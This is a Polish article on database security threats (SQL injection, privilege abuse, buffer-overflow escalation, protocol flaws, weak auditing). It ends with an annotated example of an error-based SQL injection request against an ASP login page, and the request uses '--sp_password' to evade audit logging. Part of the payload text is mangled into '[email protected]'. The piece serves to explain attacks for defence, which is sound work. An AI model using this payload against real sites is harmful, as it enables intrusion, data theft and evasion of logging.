Bezpieczeństwo baz danych

Problem z ukierunkowanymi i dobrze przeprowadzonymi atakami jest taki, że dość trudno je zauważyć. Dzieje się tak ze względu na dużą liczbę połączeń obsługiwanych przez bazę. Według analityków firmy Forester, typowa baza może przyjmować do 20 tys. połączeń na sekundę. Bez dodatkowych mechanizmów ochronnych trudno dostrzec, co dokładnie się dzieje. Tym bardziej, jeżeli atakujący zdecyduje się na krótki, kilkusekundowy atak.

Zagrożeniem technicznym, który sieje największe spustoszenia w bazach, jest SQL Incjection. Mówi się także, że atak tego typu wypiera mający do niedawna palmę pierwszeństwa Cross Site Scripting i - mimo ogólnej powszechności - jest zabójczo skuteczny. Jak twierdzi Tom Cross z IBM X-Force, liczba ataków SQL Injection wzrosła z 2,5 tys. dziennie w 2007 r. do ok. 600 tys. dziennie w połowie 2009 r. Ataki SQL Injection w dużej mierze wiążą się z błędami w projektowaniu aplikacji webowych. Jeżeli atak się powiedzie, napastnik może np. pominąć konieczność zalogowania, wyciągać dane z bazy, wprowadzać w niej modyfikacje, czasami wykonywać polecenia systemowe, czy wreszcie potraktować bazę jako repozytorium dla kodu złośliwego. Przykładowy scenariusz takiego ataku pokazano w ramce 1.

Jak wspomniano, wiele zagrożeń dla bezpieczeństwa bazy wiąże się z konfiguracją kont użytkowników. Typowym problemem jest tutaj nadużywanie uprawnień. Polega ono na wykorzystywaniu przez użytkownika nadanych mu uprawnień niezgodnie z przeznaczeniem. Za przykład może posłużyć aplikacja obsługi transakcji: użytkownik, aby móc zaakceptować zlecenie, może otrzymać dostęp do danych płatnika (włącznie z numerem karty kredytowej czy danymi teleadresowymi) i potem je wykorzystać, ściągając np. listę numerów kart kredytowych z nazwiskiem i datą ważności karty. Pseudoataki tego typu są dość trudne do wykrycia bez specjalizowanych narzędzi. Użytkownik przecież niczego nie przełamuje ani nie omija.

Z powyższym łączy się także problem przyznawania nadmiernych uprawnień. Często użytkownicy mogą więcej, niż rzeczywiście potrzebują do wykonywania swoich zadań. Jeżeli mamy do czynienia ze zdeterminowanym sprawcą, który ma konto ze standardowymi uprawnieniami, to może on próbować zwiększyć swoje uprawnienia. Cel ten najczęściej jest osiągany przez przeprowadzenie ataków przepełnienia bufora wymierzonych przeciwko słabym punktom systemu. Wystarczy prześledzić bazy podatności, aby stwierdzić, że baza może być podatna na ten atak w wielu miejscach, np. błąd w usługach serwera bazodanowego czy błąd w stored procedures. Jak donosi Secunia, w 2009 r. zarówno dla baz Oracle, jak i Microsoftu czy MySQL, PostreSQL - zanotowano przynajmniej kilka podatności umożliwiających skuteczne zaatakowanie bazy.

Celem ataków mogą padać także protokoły sieciowe. Większość oprogramowania bazodanowego komunikuje się wykorzystując protokoły, które nie doczekały się publicznie dostępnej dokumentacji. Możliwe jest więc znalezienie w nich długo niezauważonej luki. Dzięki temu może dojść do obchodzenia mechanizmów uwierzytelniania czy przekazywania nieautoryzowanych zapytań, np. INSERT.

Innym problemem jest słabość mechanizmów audytu. Z reguły monitoruje się tylko to, co związane jest z niepowodzeniem i trudno o takie podejście mieć pretensje. Niestety, w rezultacie bardziej inteligentne ataki mogą pozostać niezauważone.

Typowy atak SQL Injection

Pierwsze zapytanie:

1. GET /shopping_car/login.asp?Email=’%20or%201=convert(int,(select%

2. [email protected]@version%2b’/’%[email protected]@servername%2b’/’%2bdb_name()%2b’/’%2bsystem_user))

3. --sp_password HTTP/1.1

Ad. 1

Atakujący bierze na cel stronę logowania ASP i wstrzykuje zapytanie SQL do parametru e-mail

Ad. 2

Za pomocą zapytania SQL następuje próba odwołania się do zmiennych w bazie danych, takich jak nazwa serwera (servername).

Ad. 3

Atakujący próbuje ominąć mechanizmy audytowe bazy danych, dodając ciąg "- - sp_password", które sprawiają, że baza danych nie loguje tej transakcji.

Powodzenie ataku:

1. HTTP/1.1 500 Internal Server Error Content Length: 598 Content-Type: text/htmlCache-control: private Set-Cookie: ASPSESSIONIDCCQCSRDQ=EHEPIKBBBFLOFIFOBPCJDBGP; path=/ Connection: close

<font face="Arial" size=2>

<p> Microsoft OLE DB Provider for ODBC Drivers <font face="Arial" size=2>error ‘8004e07’

<p>

2. <font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on

3. Windows NT 5.2 (Build 3790: Service Pack 1)/SHOPSQL/OPT/OPTUSER’ to a column of data type int.

<p>

<font face="Arial" size=2>/shopping_cart/login.asp<font face="Arial" size=2>, line 49

Ad. 1

Transakcja wygenerowała kod błędu 500.

Ad. 2

HTML w treści odpowiedzi zawiera informacje wygenerowane przez bazę danych.

Ad. 3

Informacja o błędzie zwróciła także rezultaty zapytania przekazanego przez atakującego.


TOP 200